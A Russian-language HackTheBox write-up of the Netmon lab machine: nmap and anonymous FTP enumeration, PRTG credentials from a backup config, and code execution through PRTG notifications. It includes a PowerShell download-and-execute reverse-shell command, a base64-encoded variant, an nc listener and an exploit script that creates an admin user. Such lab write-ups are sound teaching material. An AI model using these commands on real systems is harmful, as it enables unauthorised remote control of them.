> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md).

# Разбор HackTheBox Netmon

Разбор Easy Windows-машины HackTheBox Netmon, охватывающий перечисление FTP, утечку информации, раскрытие учётных данных PRTG Network Monitor, выполнение команд через уведомления PRTG, с практическим перечислением

{% embed url="<https://app.hackthebox.com/machines/Netmon>" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление FTP
* Утечка информации
* Раскрытие учетных данных PRTG Network Monitor
* Выполнение команд через уведомления PRTG
* Доставка обратной оболочки PowerShell
  {% endhint %}

## Разведка

Создайте рабочую область и выполните полный TCP-скан:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-798722e4eb7d8cefb49164a179caa34064d35c62%2Fimage%20(2622).png?alt=media" alt=""><figcaption></figcaption></figure>

Запустите целевой скан служб:

```bash
nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67a5a52a4324c5400557709838db789d782f1e60%2Fimage%20(2624).png?alt=media" alt=""><figcaption></figcaption></figure>

## Перечисление FTP

FTP позволяет анонимный доступ.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f96e533cc1b7d234ade42f48504128e77a7cfc6%2Fimage%20(2625).png?alt=media" alt=""><figcaption></figcaption></figure>

Флаг пользователя можно прочитать через FTP по пути к рабочему столу пользователя.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb265dfabf7536bfea6e17e28925c1c6689353ae%2Fimage%20(2626).png?alt=media" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor

Порт 80 предоставляет **PRTG Network Monitor** веб-интерфейс.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87321ec52e84a69926e57ff88be2d163eec66ea9%2F%7BC829EB9D-C89A-4B70-BC7C-F1F879C303EA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Проверьте каталог конфигурации:

```
ProgramData/Paessler/PRTG Network Monitor/
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c385b0863211222b66772555a2ba5e96431a866%2Fimage%20(2627).png?alt=media" alt=""><figcaption></figcaption></figure>

Резервный файл конфигурации содержит учетные данные:

```
PRTG Configuration.old.bak
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf276555f1faea36a69fff7754af91ee9facbce6%2F%7BB21F9C4F-72F3-4E0E-AE58-1C44342BF0D9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Восстановленные учетные данные:

* Имя пользователя: `prtgadmin`
* Пароль: `PrTg@dmin2018`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0917079b40fdb52a248bd47deee0169a6dc15dd%2Fimage%20(2629).png?alt=media" alt=""><figcaption></figcaption></figure>

Поскольку это старый резервный файл, попробуйте обновлённый год в пароле. Доступ действителен с:

```
PrTg@dmin2019
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f2b7c725fe34502bb277cb4a4fa7c7d961d94b6%2F%7B5B654F84-C0CA-4C85-B6A0-53DF8AD594E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Удалённое выполнение кода в PRTG

Уведомления PRTG могут выполнять команды на сервере. Используйте размещённый скрипт обратной оболочки PowerShell и запустите его через действие уведомления.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Скачайте и подготовьте полезную нагрузку PowerShell:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
python3 -m http.server 80
```

Запустите прослушиватель:

```bash
rlwrap nc -nvlp 443
```

В PRTG перейдите в `Setup > Account Settings > Notifications` и создайте действие уведомления, которое скачивает и выполняет размещённый скрипт.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4bc63a1d63ebd4bf9eb949f86bd20f66c930dfd5%2Fimage%20(2633).png?alt=media" alt=""><figcaption></figcaption></figure>

Шаблон команды:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

Если callback загрузки доходит до HTTP-сервера, но оболочка не возвращается, закодируйте скрипт PowerShell в Base64 UTF-16LE и выполните его с помощью `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

## Автоматизированный путь эксплуатации

В SearchSploit есть эксплойт для PRTG, который создаёт нового административного пользователя при наличии действительного аутентифицированного cookie.

```bash
searchsploit -m windows/webapps/46527.sh
```

Запустите эксплойт с целевым URL и cookie сеанса:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

Эксплойт создаёт:

* Имя пользователя: `pentest`
* Пароль: `P3nT3st!`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c72c97357d294c4aae21d8eac7388161d959a0f1%2F%7BEDE2B19A-D649-4D1B-981C-F8C9CF5426C0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
